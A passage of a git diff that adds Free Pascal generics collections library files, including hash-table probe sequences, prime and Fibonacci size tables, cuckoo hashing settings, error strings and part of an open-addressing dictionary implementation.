UInt32; +begin + Result := SIZED_SIGN_MASK[ABits]; +end; + +class function TValueUInt32Helper.GetBitsLength: Byte; +begin + Result := BITS_LENGTH; +end; + +end. + diff --git a/Core/generics_collections/src/generics.memoryexpanders.pas b/Core/generics_collections/src/generics.memoryexpanders.pas new file mode 100755 index 0000000..abec976 --- /dev/null +++ b/Core/generics_collections/src/generics.memoryexpanders.pas @@ -0,0 +1,227 @@ +{ + This file is part of the Free Pascal/NewPascal run time library. + Copyright (c) 2014 by Maciej Izak (hnb) + member of the NewPascal development team (http://newpascal.org) + + Copyright(c) 2004-2018 DaThoX + + It contains the generics collections library + + See the file COPYING.FPC, included in this distribution, + for details about the copyright. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + + **********************************************************************} + +unit Generics.MemoryExpanders; +// Memory expanders + +{$mode delphi} +{$MACRO ON} +{$OVERFLOWCHECKS OFF} +{$RANGECHECKS OFF} +{.$WARN 5024 OFF} +{.$WARN 4079 OFF} + +interface + +uses + Classes, SysUtils; + +type + TProbeSequence = class + public + end; + + { TLinearProbing } + + TLinearProbing = class(TProbeSequence) + public + class function Probe(I, Hash: UInt32): UInt32; static; inline; + + const MAX_LOAD_FACTOR = 1; + const DEFAULT_LOAD_FACTOR = 0.75; + end; + + { TQuadraticProbing } + + TQuadraticProbing = class(TProbeSequence) + public + class function Probe(I, Hash: UInt32): UInt32; static; inline; + + const MAX_LOAD_FACTOR = 0.5; + const DEFAULT_LOAD_FACTOR = 0.5; + end; + + { TDoubleHashing } + + TDoubleHashing = class(TProbeSequence) + public + class function Probe(I, Hash1: UInt32; Hash2: UInt32 = 1): UInt32; static; inline; + + const MAX_LOAD_FACTOR = 1; + const DEFAULT_LOAD_FACTOR = 0.85; + end; + +const + // http://stackoverflow.com/questions/757059/position-of-least-significant-bit-that-is-set + // MultiplyDeBruijnBitPosition[uint32(((numberInt32 and -numberInt32) * $077CB531)) shr 27] + MultiplyDeBruijnBitPosition: array[0..31] of Int32 = + ( + 0, 1, 28, 2, 29, 14, 24, 3, 30, 22, 20, 15, 25, 17, 4, 8, + 31, 27, 13, 23, 21, 19, 16, 7, 26, 12, 18, 6, 11, 5, 10, 9 + ); + + // http://primes.utm.edu/lists/2small/0bit.html + // http://www.math.niu.edu/~rusin/known-math/98/pi_x + // http://oeis.org/A014234/ + PrimaryNumbersJustLessThanPowerOfTwo: array[0..31] of UInt32 = + ( + 0, 1, 3, 7, 13, 31, 61, 127, 251, 509, 1021, 2039, 4093, 8191, 16381, 32749, 65521, 131071, + 262139, 524287, 1048573, 2097143, 4194301, 8388593, 16777213, 33554393, 67108859, + 134217689, 268435399, 536870909, 1073741789, 2147483647 + ); + + // http://oeis.org/A014210 + // http://oeis.org/A203074 + PrimaryNumbersJustBiggerThanPowerOfTwo: array[0..31] of UInt32 = ( + 2,3,5,11,17,37,67,131,257,521,1031,2053,4099, + 8209,16411,32771,65537,131101,262147,524309, + 1048583,2097169,4194319,8388617,16777259,33554467, + 67108879,134217757,268435459,536870923,1073741827, + 2147483659); + + // Fibonacci numbers + FibonacciNumbers: array[0..44] of UInt32 = ( + {0,1,1,2,3,}0,5,8,13,21,34,55,89,144,233,377,610,987, + 1597,2584,4181,6765,10946,17711,28657,46368,75025, + 121393,196418,317811,514229,832040,1346269, + 2178309,3524578,5702887,9227465,14930352,24157817, + 39088169, 63245986, 102334155, 165580141, 267914296, + 433494437, 701408733, 1134903170, 1836311903, 2971215073, + {! not fib number - this is memory limit} 4294967295); + + // Largest prime not exceeding Fibonacci(n) + // http://oeis.org/A138184/list + // http://www.numberempire.com/primenumbers.php + PrimaryNumbersJustLessThanFibonacciNumbers: array[0..44] of UInt32 = ( + {! not correlated to fib number. For empty table} 0, + 5,7,13,19,31,53,89,139,233,373,607,983,1597, + 2579,4177,6763,10939,17707,28657,46351,75017, + 121379,196387,317797,514229,832003,1346249, + 2178283,3524569,5702867,9227443,14930341,24157811, + 39088157,63245971,102334123,165580123,267914279, + 433494437,701408717,1134903127,1836311879,2971215073, + {! not correlated to fib number - this is prime memory limit} 4294967291); + + // Smallest prime >= n-th Fibonacci number. + // http://oeis.org/A138185 + PrimaryNumbersJustBiggerThanFibonacciNumbers: array[0..44] of UInt32 = ( + {! not correlated to fib number. For empty table} 0, + 5,11,13,23,37,59,89,149,233,379,613, + 991,1597,2591,4201,6779,10949,17713,28657,46381, + 75029,121403,196429,317827,514229,832063,1346273, + 2178313,3524603,5702897,9227479,14930387,24157823, + 39088193,63245989,102334157,165580147,267914303, + 433494437,701408753,1134903179,1836311951,2971215073, + {! not correlated to fib number - this is prime memory limit} 4294967291); + +type + + { TCuckooHashingCfg } + + TCuckooHashingCfg = class + public + const D = 2; + const MAX_LOAD_FACTOR = 0.5; + + class function LoadFactor(M: Integer): Integer; virtual; + end; + + TStdCuckooHashingCfg = class(TCuckooHashingCfg) + public + const MAX_LOOP = 1000; + end; + + TDeamortizedCuckooHashingCfg = class(TCuckooHashingCfg) + public + const L = 5; + end; + + TDeamortizedCuckooHashingCfg_D2 = TDeamortizedCuckooHashingCfg; + + { TDeamortizedCuckooHashingCfg_D4 } + + TDeamortizedCuckooHashingCfg_D4 = class(TDeamortizedCuckooHashingCfg) + public + const D = 4; + const L = 20; + const MAX_LOAD_FACTOR = 0.9; + + class function LoadFactor(M: Integer): Integer; override; + end; + + { TDeamortizedCuckooHashingCfg_D6 } + + TDeamortizedCuckooHashingCfg_D6 = class(TDeamortizedCuckooHashingCfg) + public + const D = 6; + const L = 170; + const MAX_LOAD_FACTOR = 0.99; + + class function LoadFactor(M: Integer): Integer; override; + end; + + TL5CuckooHashingCfg = class(TCuckooHashingCfg) + public + end; + +implementation + +{ TDeamortizedCuckooHashingCfg_D6 } + +class function TDeamortizedCuckooHashingCfg_D6.LoadFactor(M: Integer): Integer; +begin + Result:=Pred(Round(MAX_LOAD_FACTOR*M)); +end; + +{ TDeamortizedCuckooHashingCfg_D4 } + +class function TDeamortizedCuckooHashingCfg_D4.LoadFactor(M: Integer): Integer; +begin + Result:=Pred(Round(MAX_LOAD_FACTOR*M)); +end; + +{ TCuckooHashingCfg } + +class function TCuckooHashingCfg.LoadFactor(M: Integer): Integer; +begin + Result := Pred(M shr 1); +end; + +{ TLinearProbing } + +class function TLinearProbing.Probe(I, Hash: UInt32): UInt32; +begin + Result := (Hash + I) +end; + +{ TQuadraticProbing } + +class function TQuadraticProbing.Probe(I, Hash: UInt32): UInt32; +begin + Result := (Hash + Sqr(I)); +end; + +{ TDoubleHashingNoMod } + +class function TDoubleHashing.Probe(I, Hash1: UInt32; Hash2: UInt32): UInt32; +begin + Result := Hash1 + I * Hash2; +end; + +end. + diff --git a/Core/generics_collections/src/generics.strings.pas b/Core/generics_collections/src/generics.strings.pas new file mode 100755 index 0000000..3668cf5 --- /dev/null +++ b/Core/generics_collections/src/generics.strings.pas @@ -0,0 +1,37 @@ +{ + This file is part of the Free Pascal/NewPascal run time library. + Copyright (c) 2014 by Maciej Izak (hnb) + member of the NewPascal development team (http://newpascal.org) + + Copyright(c) 2004-2018 DaThoX + + It contains the generics collections library + + See the file COPYING.FPC, included in this distribution, + for details about the copyright. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + + **********************************************************************} + +unit Generics.Strings; + +{$mode objfpc}{$H+} + +interface + +resourcestring + SArgumentOutOfRange = 'Argument out of range'; + SArgumentNilNode = 'Node is nil'; + SDuplicatesNotAllowed = 'Duplicates not allowed in dictionary'; + SCollectionInconsistency = 'Collection inconsistency'; + SCollectionDuplicate = 'Collection does not allow duplicates'; + SDictionaryKeyDoesNotExist = 'Dictionary key does not exist'; + SItemNotFound = 'Item not found'; + +implementation + +end. + diff --git a/Core/generics_collections/src/inc/generics.dictionaries.inc b/Core/generics_collections/src/inc/generics.dictionaries.inc new file mode 100755 index 0000000..1bd74b6 --- /dev/null +++ b/Core/generics_collections/src/inc/generics.dictionaries.inc @@ -0,0 +1,2269 @@ +{%MainUnit generics.collections.pas} + +{ + This file is part of the Free Pascal/NewPascal run time library. + Copyright (c) 2014 by Maciej Izak (hnb) + member of the NewPascal development team (http://newpascal.org) + + Copyright(c) 2004-2018 DaThoX + + It contains the generics collections library + + See the file COPYING.FPC, included in this distribution, + for details about the copyright. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + + Acknowledgment + + Thanks to Sphere 10 Software (http://sphere10.com) for sponsoring + many new types and major refactoring of entire library + + Thanks to mORMot (http://synopse.info) project for the best implementations + of hashing functions like crc32c and xxHash32 :) + + **********************************************************************} + +{ TPair<TKey,TValue> } + +class function TPair<TKey, TValue>.Create(AKey: TKey; + AValue: TValue): TPair<TKey, TValue>; +begin + Result.Key := AKey; + Result.Value := AValue; +end; + +{ TCustomDictionary<CUSTOM_DICTIONARY_CONSTRAINTS> } + +procedure TCustomDictionary<CUSTOM_DICTIONARY_CONSTRAINTS>.PairNotify(constref APair: TDictionaryPair; + ACollectionNotification: TCollectionNotification); +begin + KeyNotify(APair.Key, ACollectionNotification); + ValueNotify(APair.Value, ACollectionNotification); +end; + +procedure TCustomDictionary<CUSTOM_DICTIONARY_CONSTRAINTS>.KeyNotify(constref AKey: TKey; + ACollectionNotification: TCollectionNotification); +begin + if Assigned(FOnKeyNotify) then + FOnKeyNotify(Self, AKey, ACollectionNotification); +end; + +procedure TCustomDictionary<CUSTOM_DICTIONARY_CONSTRAINTS>.SetValue(var AValue: TValue; constref ANewValue: TValue); +var + LOldValue: TValue; +begin + LOldValue := AValue; + AValue := ANewValue; + + ValueNotify(LOldValue, cnRemoved); + ValueNotify(ANewValue, cnAdded); +end; + +procedure TCustomDictionary<CUSTOM_DICTIONARY_CONSTRAINTS>.ValueNotify(constref AValue: TValue; + ACollectionNotification: TCollectionNotification); +begin + if Assigned(FOnValueNotify) then + FOnValueNotify(Self, AValue, ACollectionNotification); +end; + +constructor TCustomDictionary<CUSTOM_DICTIONARY_CONSTRAINTS>.Create; +begin + Create(0); +end; + +constructor TCustomDictionary<CUSTOM_DICTIONARY_CONSTRAINTS>.Create(ACapacity: SizeInt); overload; +begin + Create(ACapacity, TEqualityComparer<TKey>.Default(THashFactory)); +end; + +constructor TCustomDictionary<CUSTOM_DICTIONARY_CONSTRAINTS>.Create(ACapacity: SizeInt; + const AComparer: IEqualityComparer<TKey>); +begin + FEqualityComparer := AComparer; + SetCapacity(ACapacity); +end; + +constructor TCustomDictionary<CUSTOM_DICTIONARY_CONSTRAINTS>.Create(const AComparer: IEqualityComparer<TKey>); +begin + Create(0, AComparer); +end; + +constructor TCustomDictionary<CUSTOM_DICTIONARY_CONSTRAINTS>.Create(ACollection: TEnumerable<TDictionaryPair>); +begin + Create(ACollection, TEqualityComparer<TKey>.Default(THashFactory)); +end; + +{$IFDEF ENABLE_METHODS_WITH_TEnumerableWithPointers} +constructor TCustomDictionary<CUSTOM_DICTIONARY_CONSTRAINTS>.Create(ACollection: TEnumerableWithPointers<TDictionaryPair>); +begin + Create(ACollection, TEqualityComparer<TKey>.Default(THashFactory)); +end; +{$ENDIF} + +constructor TCustomDictionary<CUSTOM_DICTIONARY_CONSTRAINTS>.Create(ACollection: TEnumerable<TDictionaryPair>; + const AComparer: IEqualityComparer<TKey>); overload; +var + LItem: TDictionaryPair; +begin + Create(AComparer); + for LItem in ACollection do + Add(LItem); +end; + +{$IFDEF ENABLE_METHODS_WITH_TEnumerableWithPointers} +constructor TCustomDictionary<CUSTOM_DICTIONARY_CONSTRAINTS>.Create(ACollection: TEnumerableWithPointers<TDictionaryPair>; + const AComparer: IEqualityComparer<TKey>); overload; +var + LItem: PDictionaryPair; +begin + Create(AComparer); + for LItem in ACollection.Ptr^ do + Add(LItem^); +end; +{$ENDIF} + +destructor TCustomDictionary<CUSTOM_DICTIONARY_CONSTRAINTS>.Destroy; +begin + Clear; + FKeys.Free; + FValues.Free; + inherited; +end; + +function TCustomDictionary<CUSTOM_DICTIONARY_CONSTRAINTS>.ToArray(ACount: SizeInt): TArray<TDictionaryPair>; +var + i: SizeInt; + LEnumerator: TEnumerator<TDictionaryPair>; +begin + SetLength(Result, ACount); + LEnumerator := DoGetEnumerator; + + i := 0; + while LEnumerator.MoveNext do + begin + Result[i] := LEnumerator.Current; + Inc(i); + end; + LEnumerator.Free; +end; + +function TCustomDictionary<CUSTOM_DICTIONARY_CONSTRAINTS>.ToArray: TArray<TDictionaryPair>; +begin + Result := ToArray(Count); +end; + +{ TCustomDictionaryEnumerator<T, CUSTOM_DICTIONARY_CONSTRAINTS> } + +constructor TCustomDictionaryEnumerator<T, CUSTOM_DICTIONARY_CONSTRAINTS>.Create( + ADictionary: TCustomDictionary<CUSTOM_DICTIONARY_CONSTRAINTS>); +begin + inherited Create; + FIndex := -1; + FDictionary := ADictionary; +end; + +function TCustomDictionaryEnumerator<T, CUSTOM_DICTIONARY_CONSTRAINTS>.DoGetCurrent: T; +begin + Result := GetCurrent; +end; + +{ TDictionaryEnumerable<TDictionaryEnumerator, TDictionaryPointersEnumerator, T, CUSTOM_DICTIONARY_CONSTRAINTS> } + +function TDictionaryEnumerable<TDictionaryEnumerator, TDictionaryPointersEnumerator, T, CUSTOM_DICTIONARY_CONSTRAINTS>.GetPtrEnumerator: TEnumerator<PT>; +begin + Result := TDictionaryPointersEnumerator.Create(FDictionary); +end; + +constructor TDictionaryEnumerable<TDictionaryEnumerator, TDictionaryPointersEnumerator, T, CUSTOM_DICTIONARY_CONSTRAINTS>.Create( + ADictionary: TCustomDictionary<CUSTOM_DICTIONARY_CONSTRAINTS>); +begin + FDictionary := ADictionary; +end; + +function TDictionaryEnumerable<TDictionaryEnumerator, TDictionaryPointersEnumerator, T, CUSTOM_DICTIONARY_CONSTRAINTS>. + DoGetEnumerator: TDictionaryEnumerator; +begin + Result := TDictionaryEnumerator(TDictionaryEnumerator.NewInstance); + TCustomDictionaryEnumerator<T, CUSTOM_DICTIONARY_CONSTRAINTS>(Result).Create(FDictionary); +end; + +function TDictionaryEnumerable<TDictionaryEnumerator, TDictionaryPointersEnumerator, T, CUSTOM_DICTIONARY_CONSTRAINTS>.GetCount: SizeInt; +begin + Result := TCustomDictionary<CUSTOM_DICTIONARY_CONSTRAINTS>(FDictionary).Count; +end; + +function TDictionaryEnumerable<TDictionaryEnumerator, TDictionaryPointersEnumerator, T, CUSTOM_DICTIONARY_CONSTRAINTS>.ToArray: TArray<T>; +begin + Result := ToArrayImpl(FDictionary.Count); +end; + +{ TOpenAddressingEnumerator<T, DICTIONARY_CONSTRAINTS> } + +function TOpenAddressingEnumerator<T, OPEN_ADDRESSING_CONSTRAINTS>.DoMoveNext: Boolean; +var + LLength: SizeInt; +begin + Inc(FIndex); + + LLength := Length(TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>(FDictionary).FItems); + + if FIndex >= LLength then + Exit(False); + + // maybe related to bug #24098 + // compiler error for (TDictionary<DICTIONARY_CONSTRAINTS>(FDictionary).FItems[FIndex].Hash and UInt32.GetSignMask) = 0 + while ((TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>(FDictionary).FItems[FIndex].Hash) and UInt32.GetSignMask) = 0 do + begin + Inc(FIndex); + if FIndex = LLength then + Exit(False); + end; + + Result := True; +end; + +{ TOpenAddressingPointersEnumerator<TItem, PDictionaryPair> } + +function TOpenAddressingPointersEnumerator<TItem, PDictionaryPair>.DoMoveNext: boolean; +var + LLength: SizeInt; +begin + Inc(FIndex); + + LLength := Length(FItems^); + + if FIndex >= LLength then + Exit(False); + + // maybe related to bug #24098 + // compiler error for (TDictionary<DICTIONARY_CONSTRAINTS>(FDictionary).FItems[FIndex].Hash and UInt32.GetSignMask) = 0 + while (FItems^[FIndex].Hash and UInt32.GetSignMask) = 0 do + begin + Inc(FIndex); + if FIndex = LLength then + Exit(False); + end; + + Result := True; +end; + +function TOpenAddressingPointersEnumerator<TItem, PDictionaryPair>.DoGetCurrent: PDictionaryPair; +begin + Result := GetCurrent; +end; + +function TOpenAddressingPointersEnumerator<TItem, PDictionaryPair>.GetCurrent: PDictionaryPair; +begin + Result := @FItems^[FIndex].Pair; +end; + +constructor TOpenAddressingPointersEnumerator<TItem, PDictionaryPair>.Create(var AItems); +begin + FIndex := -1; + FItems := @AItems; +end; + +{ TOpenAddressingPointersCollection<TPointersEnumerator, TItem, PDictionaryPair> } + +function TOpenAddressingPointersCollection<TPointersEnumerator, TItem, PDictionaryPair>.Items: PArray; +begin + Result := PArray(@((@Self)^)); +end; + +function TOpenAddressingPointersCollection<TPointersEnumerator, TItem, PDictionaryPair>.GetCount: SizeInt; +begin + Result := PSizeInt(PByte(@((@Self)^))-SizeOf(SizeInt))^; +end; + +function TOpenAddressingPointersCollection<TPointersEnumerator, TItem, PDictionaryPair>.GetEnumerator: TPointersEnumerator; +begin + Result := TPointersEnumerator(TPointersEnumerator.NewInstance); + TPointersEnumerator(Result).Create(Items^); +end; + +function TOpenAddressingPointersCollection<TPointersEnumerator, TItem, PDictionaryPair>.ToArray: TArray<PDictionaryPair>; +{begin + Result := ToArrayImpl(FList.Count); +end;} +var + i: SizeInt; + LEnumerator: TPointersEnumerator; +begin + SetLength(Result, GetCount); + + try + LEnumerator := GetEnumerator; + + i := 0; + while LEnumerator.MoveNext do + begin + Result[i] := LEnumerator.Current; + Inc(i); + end; + finally + LEnumerator.Free; + end; +end; + +{ TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS> } + +constructor TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>.Create(ACapacity: SizeInt; + const AComparer: IEqualityComparer<TKey>); +begin + inherited Create(ACapacity, AComparer); + + FMaxLoadFactor := TProbeSequence.DEFAULT_LOAD_FACTOR; +end; + +function TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>.GetKeys: TKeyCollection; +begin + if not Assigned(FKeys) then + FKeys := TKeyCollection.Create(Self); + Result := TKeyCollection(FKeys); +end; + +function TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>.GetValues: TValueCollection; +begin + if not Assigned(FValues) then + FValues := TValueCollection.Create(Self); + Result := TValueCollection(FValues); +end; + +function TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>.FindBucketIndex(constref AKey: TKey): SizeInt; +var + LHash: UInt32; +begin + Result := FindBucketIndex(FItems, AKey, LHash); +end; + +procedure TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>.PrepareAddingItem; +begin + if RealItemsLength > FItemsThreshold then + Rehash(Length(FItems) shl 1) + else if FItemsThreshold = 0 then + begin + SetLength(FItems, 8); + UpdateItemsThreshold(8); + end + else if FItemsLength = $40000001 then // High(TIndex) ... Error: Type mismatch + OutOfMemoryError; +end; + +procedure TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>.UpdateItemsThreshold(ASize: SizeInt); +begin + if ASize = $40000000 then + FItemsThreshold := $40000001 + else + FItemsThreshold := Pred(Round(ASize * FMaxLoadFactor)); +end; + +procedure TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>.AddItem(var AItem: TItem; constref AKey: TKey; + constref AValue: TValue; const AHash: UInt32); +begin + AItem.Hash := AHash; + AItem.Pair.Key := AKey; + AItem.Pair.Value := AValue; + + // ! very important. FItemsLength must be increased after above code (because constref has meaning) + Inc(FItemsLength); + + PairNotify(AItem.Pair, cnAdded); +end; + +function TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>.GetPointers: PPointersCollection; +begin + Result := PPointersCollection(@FItems); +end; + +procedure TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>.Add(constref AKey: TKey; constref AValue: TValue); +begin + DoAdd(AKey, AValue); +end; + +procedure TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>.Add(constref APair: TPair<TKey, TValue>); +begin + DoAdd(APair.Key, APair.Value); +end; + +function TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>.DoAdd(constref AKey: TKey; constref AValue: TValue): SizeInt; +var + LHash: UInt32; +begin + PrepareAddingItem; + + Result := FindBucketIndex(FItems, AKey, LHash); + if Result >= 0 then + raise EListError.CreateRes(@SDuplicatesNotAllowed); + + Result := not Result; + AddItem(FItems[Result], AKey, AValue, LHash); +end; + +function TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>.DoRemove(AIndex: SizeInt; + ACollectionNotification: TCollectionNotification): TValue; +var + LItem: PItem; + LPair: TPair<TKey, TValue>; +begin + LItem := @FItems[AIndex]; + LItem.Hash := 0; + Result := LItem.Pair.Value; + LPair := LItem.Pair; + LItem.Pair := Default(TPair<TKey, TValue>); + Dec(FItemsLength); + PairNotify(LPair, ACollectionNotification); +end; + +procedure TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>.Remove(constref AKey: TKey); +var + LIndex: SizeInt; +begin + LIndex := FindBucketIndex(AKey); + if LIndex < 0 then + Exit; + + DoRemove(LIndex, cnRemoved); +end; + +function TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>.ExtractPair(constref AKey: TKey): TPair<TKey, TValue>; +var + LIndex: SizeInt; +begin + LIndex := FindBucketIndex(AKey); + if LIndex < 0 then + Exit(Default(TPair<TKey, TValue>)); + + Result.Key := AKey; + Result.Value := DoRemove(LIndex, cnExtracted); +end; + +procedure TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>.Clear; +var + LItem: PItem; + i: SizeInt; + LOldItems: array of TItem; +begin + FItemsLength := 0; + FItemsThreshold := 0; + // ClearTombstones; + LOldItems := FItems; + FItems := nil; + + for i := 0 to High(LOldItems) do + begin + LItem := @LOldItems[i]; + if (LItem.Hash and UInt32.GetSignMask = 0) then + Continue; + + PairNotify(LItem.Pair, cnRemoved); + end; +end; + +function TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>.RealItemsLength: SizeInt; +begin + Result := FItemsLength; +end; + +function TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>.Rehash(ASizePow2: SizeInt; AForce: Boolean): Boolean; +var + LNewItems: TArray<TItem>; + LHash: UInt32; + LIndex: SizeInt; + i: SizeInt; + LItem, LNewItem: PItem; +begin + if (ASizePow2 = Length(FItems)) and not AForce then + Exit(False); + if ASizePow2 < 0 then + OutOfMemoryError; + + SetLength(LNewItems, ASizePow2); + UpdateItemsThreshold(ASizePow2); + + for i := 0 to High(FItems) do + begin + LItem := @FItems[i]; + + if (LItem.Hash and UInt32.GetSignMask) <> 0 then + begin + LIndex := FindBucketIndex(LNewItems, LItem.Pair.Key, LHash); + LIndex := not LIndex; + + LNewItem := @LNewItems[LIndex]; + LNewItem.Hash := LHash; + LNewItem.Pair := LItem.Pair; + end; + end; + + FItems := LNewItems; + Result := True; +end; + +function TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>.DoGetEnumerator: TEnumerator<TDictionaryPair>; +begin + Result := GetEnumerator; +end; + +procedure TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>.SetCapacity(ACapacity: SizeInt); +begin + if ACapacity < FItemsLength then + raise EArgumentOutOfRangeException.CreateRes(@SArgumentOutOfRange); + + Resize(ACapacity); +end; + +procedure TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>.SetMaxLoadFactor(AValue: single); +var + LItemsLength: SizeInt; +begin + if (AValue > TProbeSequence.MAX_LOAD_FACTOR) or (AValue <= 0) then + raise EArgumentOutOfRangeException.CreateRes(@SArgumentOutOfRange); + + FMaxLoadFactor := AValue; + + repeat + LItemsLength := Length(FItems); + UpdateItemsThreshold(LItemsLength); + if RealItemsLength > FItemsThreshold then + Rehash(LItemsLength shl 1); + until RealItemsLength <= FItemsThreshold; +end; + +function TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>.GetLoadFactor: single; +begin + Result := FItemsLength / Length(FItems); +end; + +function TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>.GetCapacity: SizeInt; +begin + Result := Length(FItems); +end; + +procedure TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>.Resize(ANewSize: SizeInt); +var + LNewSize: SizeInt; +begin + if ANewSize < 0 then + raise EArgumentOutOfRangeException.CreateRes(@SArgumentOutOfRange); + + LNewSize := 0; + if ANewSize > 0 then + begin + LNewSize := 8; + while LNewSize < ANewSize do + LNewSize := LNewSize shl 1; + end; + + Rehash(LNewSize); +end; + +function TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>.GetEnumerator: TPairEnumerator; +begin + Result := TPairEnumerator.Create(Self); +end; + +function TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>.GetItem(const AKey: TKey): TValue; +var + LIndex: SizeInt; +begin + LIndex := FindBucketIndex(AKey); + if LIndex < 0 then + raise EListError.CreateRes(@SDictionaryKeyDoesNotExist); + Result := FItems[LIndex].Pair.Value; +end; + +procedure TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>.TrimExcess; +begin + SetCapacity(Succ(FItemsLength)); +end; + +procedure TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>.SetItem(const AKey: TKey; const AValue: TValue); +var + LIndex: SizeInt; +begin + LIndex := FindBucketIndex(AKey); + if LIndex < 0 then + raise EListError.CreateRes(@SItemNotFound); + + SetValue(FItems[LIndex].Pair.Value, AValue); +end; + +function TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>.TryGetValue(constref AKey: TKey; out AValue: TValue): Boolean; +var + LIndex: SizeInt; +begin + LIndex := FindBucketIndex(AKey); + Result := LIndex >= 0; + + if Result then + AValue := FItems[LIndex].Pair.Value + else + AValue := Default(TValue); +end; + +procedure TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>.AddOrSetValue(constref AKey: TKey; constref AValue: TValue); +var + LIndex: SizeInt; + LHash: UInt32; +begin + LIndex := FindBucketIndex(FItems, AKey, LHash); + + if LIndex < 0 then + DoAdd(AKey, AValue) + else + SetValue(FItems[LIndex].Pair.Value, AValue); +end; + +function TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>.ContainsKey(constref AKey: TKey): Boolean; +var + LIndex: SizeInt; +begin + LIndex := FindBucketIndex(AKey); + Result := LIndex >= 0; +end; + +function TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>.ContainsValue(constref AValue: TValue): Boolean; +begin + Result := ContainsValue(AValue, TEqualityComparer<TValue>.Default(THashFactory)); +end; + +function TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>.ContainsValue(constref AValue: TValue; + const AEqualityComparer: IEqualityComparer<TValue>): Boolean; +var + i: SizeInt; + LItem: PItem; +begin + if Length(FItems) = 0 then + Exit(False); + + for i := 0 to High(FItems) do + begin + LItem := @FItems[i]; + if (LItem.Hash and UInt32.GetSignMask) = 0 then + Continue; + + if AEqualityComparer.Equals(AValue, LItem.Pair.Value) then + Exit(True); + end; + Result := False; +end; + +procedure TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>.GetMemoryLayout( + const AOnGetMemoryLayoutKeyPosition: TOnGetMemoryLayoutKeyPosition); +var + i: SizeInt; +begin + for i := 0 to High(FItems) do + if (FItems[i].Hash and UInt32.GetSignMask) <> 0 then + AOnGetMemoryLayoutKeyPosition(Self, i); +end; + +{ TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>.TPairEnumerator } + +function TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>.TPairEnumerator.GetCurrent: TPair<TKey, TValue>; +begin + Result := TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>(FDictionary).FItems[FIndex].Pair; +end; + +{ TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>.TValueEnumerator } + +function TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>.TValueEnumerator.GetCurrent: TValue; +begin + Result := TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>(FDictionary).FItems[FIndex].Pair.Value; +end; + +{ TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>.TPValueEnumerator } + +function TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>.TPValueEnumerator.GetCurrent: PValue; +begin + Result := @(TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>(FDictionary).FItems[FIndex].Pair.Value); +end; + +{ TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>.TKeyEnumerator } + +function TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>.TKeyEnumerator.GetCurrent: TKey; +begin + Result := TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>(FDictionary).FItems[FIndex].Pair.Key; +end; + +{ TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>.TPKeyEnumerator } + +function TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>.TPKeyEnumerator.GetCurrent: PKey; +begin + Result := @(TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>(FDictionary).FItems[FIndex].Pair.Key); +end; + +{ TOpenAddressingLP<DICTIONARY_CONSTRAINTS> } + +procedure TOpenAddressingLP<OPEN_ADDRESSING_CONSTRAINTS>.NotifyIndexChange(AFrom, ATo: SizeInt); +begin +end; + +function TOpenAddressingLP<OPEN_ADDRESSING_CONSTRAINTS>.DoRemove(AIndex: SizeInt; + ACollectionNotification: TCollectionNotification): TValue; +var + LItem: PItem; + LPair: TPair<TKey, TValue>; + LLengthMask: SizeInt; + i, LIndex, LGapIndex: SizeInt; + LHash, LBucket: UInt32; +begin + LItem := @FItems[AIndex]; + LPair := LItem.Pair; + + // try fill gap + LHash := 